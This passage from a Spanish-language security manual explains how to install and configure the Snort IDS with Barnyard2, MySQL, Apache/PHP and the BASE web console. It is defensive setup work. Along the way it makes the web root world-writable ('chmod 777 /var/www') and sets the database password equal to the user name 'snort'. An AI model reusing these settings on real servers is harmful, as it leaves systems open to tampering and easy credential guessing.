/usr/src/snort-2.9.0.5# mkdir /etc/snort /etc/snort/rules /var/log/snort /var/log/barnyard2 /usr/local/lib/snort_dynamicrules/usr/src/snort-2.9.0.5# groupadd snort && useradd -g snort snort/usr/src/snort-2.9.0.5# chown snort:snort /var/log/snort /var/log/barnyard2/usr/src/snort-2.9.0.5# cp /usr/src/snort-2.9.0.5/etc/*.conf* /etc/snort/usr/src/snort-2.9.0.5# cp /usr/src/snort-2.9.0.5/etc/*.conf* /etc/snort

Posteriormente es necesario establecer las opciones de configuración necesarias en el archivo /etc/snort/snort.conf

Instalar BARNYARD con los siguientes pasos:

/usr/src# wget http://www.securixlive.com/download/barnyard2/barnyard2-1.9.tar.gz/usr/src# tar -zxf barnyard2-1.9.tar.gz && cd barnyard2-1.9/usr/src/barnyard2-1.9# ./configure --with-mysql/usr/src/barnyard2-1.9# make && make install/usr/src# mv /usr/local/etc/barnyard2.conf /etc/snort

Editar el archivo /etc/snort/barnyard2.conf

En la linea 215 cambiar:

output alert_fast: stdout

por

output alert_fast

Al final del archivo declarar la siguiente linea:

output database: log, mysql, user=snort password=snort dbname=snort host=localhost

Establecer las variables de configuración de Snort,

Linea 39: ipvar HOME_NET 192.168.1.0/24

Linea 42: ipvar EXTERNAL_NET !$HOME_NET

Linea 80: var RULE_PATH ./rules (aquí se indica el directorio donde se encuentran ubicados los archivos de reglas)

- 126 -

Page 127: Seguridad

Lineas 186-190: Comentar todas las entradas correspondientes a preprocessor normalize_*

Linea 366: Configuración adicional sobre tipos de instalación, establecer la siguiente linea: output unified2: filename snort.log, limit 128

Linea 393: A partir de esta linea se incluyen los archivos de reglas para Snort, en este caso concreto se comentarán todas las inclusiones, dejando solamente la primera (local.rules).

Crear una regla de pruebas para verificar el funcionamiento del sistema, crear y editar el archivo /etc/snort/rules/local.rules incluyendo las siguientes lineas:

alert icmp any any -> $HOME_NET any (msg:”ICMP test”; sid:10000001;)

Probar Snort.

snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Ahora se procede a configurar la base de datos MySQL y con esto en mente, la primera instrucción que se llevará a cabo será crear un usuario Snort con los privilegios necesarios.

/usr/local/bin/log# mysql -u root -pmysql> create database snort ;mysql> grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;mysql> SET PASSWORD FOR snort@localhost=PASSWORD(‘snort’);mysql> exit

Ahora se procede a crear la base de datos partiendo del esquema existente en Snort tras su instalación, el nombre de esta base de datos será “snort”.

/tmp# mysql -u root -p < /usr/src/snort-2.9.0.5/schemas/create_mysql snort/tmp# mysql -u root -pmysql> use snortmysql> show tables ;

Validamos que se hayan creados las tablas correspondientes en nuestra base de datos.

Por ultimo es necesario configurar el servidor Apache con PHP para que todo el “circuito” de configuración quede definido, para esto se ejecutan los siguientes comandos

Editar el archivo /etc/php5/apache2/php.ini y cambiar la variable error_reporting con el siguiente valor:

error_reporting = E_ALL & ~E_NOTICE

/# cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-enabled/# a2enmod ssl/# pear config-set preferred_state alpha/# pear install Image_Color Image_Canvas Image_Graph/# /etc/init.d/apache2 restart

- 127 -

Page 128: Seguridad

Se procede a instalar BASE (Basic Analysis and Security Engine). Se trata de una aplicación web que permite realizar el análisis de los paquetes capturados por snort.

/usr/src# wget http://sourceforge.net/projects/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz

/usr/src# tar -zxf base-1.4.5.tar.gz/usr/src# cp -r base-1.4.5 /var/www/base/usr/src# chmod 777 /var/www

Ahora desde el navegador web, apuntar a https://<DIRECCION_LOCAL>/base

Dado que se trata de la primera vez que se ejecuta la aplicación web, se procede a iniciar el proceso de configuración que consta de 5 pasos

Paso 1Seleccionar el lenguaje de la elección del usuarioRuta de adodb: /usr/share/php/adodb

Paso 2Definir las características de conexión a la base de datos MySQL creada y configurada en pasos anteriores.

Paso 3Definir los valores de autenticación del sistema BASE, estos valores serán utilizados posteriormente para utilizar BASE.

Paso 4Creación de las tablas del sistema BASE, en este punto, las tablas que se van a crear van a permitir extender las funcionalidades de Snort empleado BASE. Presionar sobre “Create BASE AG”

Paso 5Si hasta este punto la configuración ha sido correcta, se debe enseñar la interfaz de autenticación de usuario.

Una vez finalizados los pasos anteriores se tiene Snort configurado y preparado para su ejecución con todas las dependencias necesarias.

- 128 -


Recommended